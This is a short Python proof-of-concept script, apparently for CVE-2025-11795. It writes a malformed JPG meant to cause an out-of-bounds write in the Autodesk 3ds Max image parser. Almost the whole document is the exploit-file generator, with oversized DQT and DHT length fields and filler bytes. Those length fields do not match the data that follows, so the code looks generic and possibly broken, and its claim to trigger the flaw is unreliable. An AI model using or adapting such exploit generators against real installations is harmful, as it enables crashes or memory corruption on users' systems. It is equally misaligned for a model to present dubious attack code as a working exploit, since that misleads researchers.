CVE-2025-11795: Autodesk 3ds Max JPG解析Out-of-Bounds Write漏洞

#!/usr/bin/env python3 """ CVE-2025-11795 PoC - Malicious JPG File Generator for Autodesk 3ds Max This PoC demonstrates the structure of a malicious JPG file that triggers an Out-of-Bounds Write vulnerability in Autodesk 3ds Max JPG parser. WARNING: This code is for educational and security research purposes only. Do not use this code for malicious purposes. """ import struct import os def create_malicious_jpg(): """ Create a malformed JPG file designed to trigger OOB write in 3ds Max """ # Start of Image (SOI) marker jpg_data = b'\xFF\xD8' # APP0 marker (JFIF marker) jpg_data += b'\xFF\xE0' jpg_data += struct.pack('>H', 16) # Length jpg_data += b'JFIF\x00' # Identifier jpg_data += b'\x01\x01' # Version 1.1 jpg_data += b'\x00' # Aspect ratio units jpg_data += struct.pack('>HH', 1, 1) # Thumbnail dimensions # DQT marker with oversized data (triggers OOB write) jpg_data += b'\xFF\xDB' # Length field - set to cause buffer overflow oversized_length = 0xFFFF # Malformed length jpg_data += struct.pack('>H', oversized_length) # Malformed quantization table data # This data will cause out-of-bounds write when parsed for i in range(128): # Oversized data jpg_data += bytes([(i * 17) % 256]) # SOF0 marker (Start of Frame) jpg_data += b'\xFF\xC0' jpg_data += struct.pack('>H', 11) # Length jpg_data += b'\x08' # Precision (8 bits) jpg_data += struct.pack('>HH', 1024, 1024) # Malformed dimensions jpg_data += b'\x01\x01' # Number of components jpg_data += b'\x01\x11\x00' # Component data # DHT marker with malformed data jpg_data += b'\xFF\xC4' jpg_data += struct.pack('>H', 0x7FFF) # Oversized length for i in range(256): jpg_data += bytes([i]) # SOS marker (Start of Scan) jpg_data += b'\xFF\xDA' jpg_data += struct.pack('>H', 12) jpg_data += b'\x01' # Number of components jpg_data += b'\x01\x00' # Component selector jpg_data += b'\x00\x3F\x00' # Spectral selection # Malformed scan data for i in range(512): jpg_data += bytes([i % 256]) # End of Image (EOI) marker jpg_data += b'\xFF\xD9' return jpg_data def save_poc(): """Save the PoC file""" output_dir = 'poc_output' os.makedirs(output_dir, exist_ok=True) output_path = os.path.join(output_dir, 'CVE-2025-11795_malicious.jpg') jpg_data = create_malicious_jpg() with open(output_path, 'wb') as f: f.write(jpg_data) print(f'[+] PoC file created: {output_path}') print(f'[+] File size: {len(jpg_data)} bytes') print('[!] This file is designed to trigger CVE-2025-11795 in Autodesk 3ds Max') print('[!] Do not open this file in production environments or systems you do not own') if __name__ == '__main__': save_poc()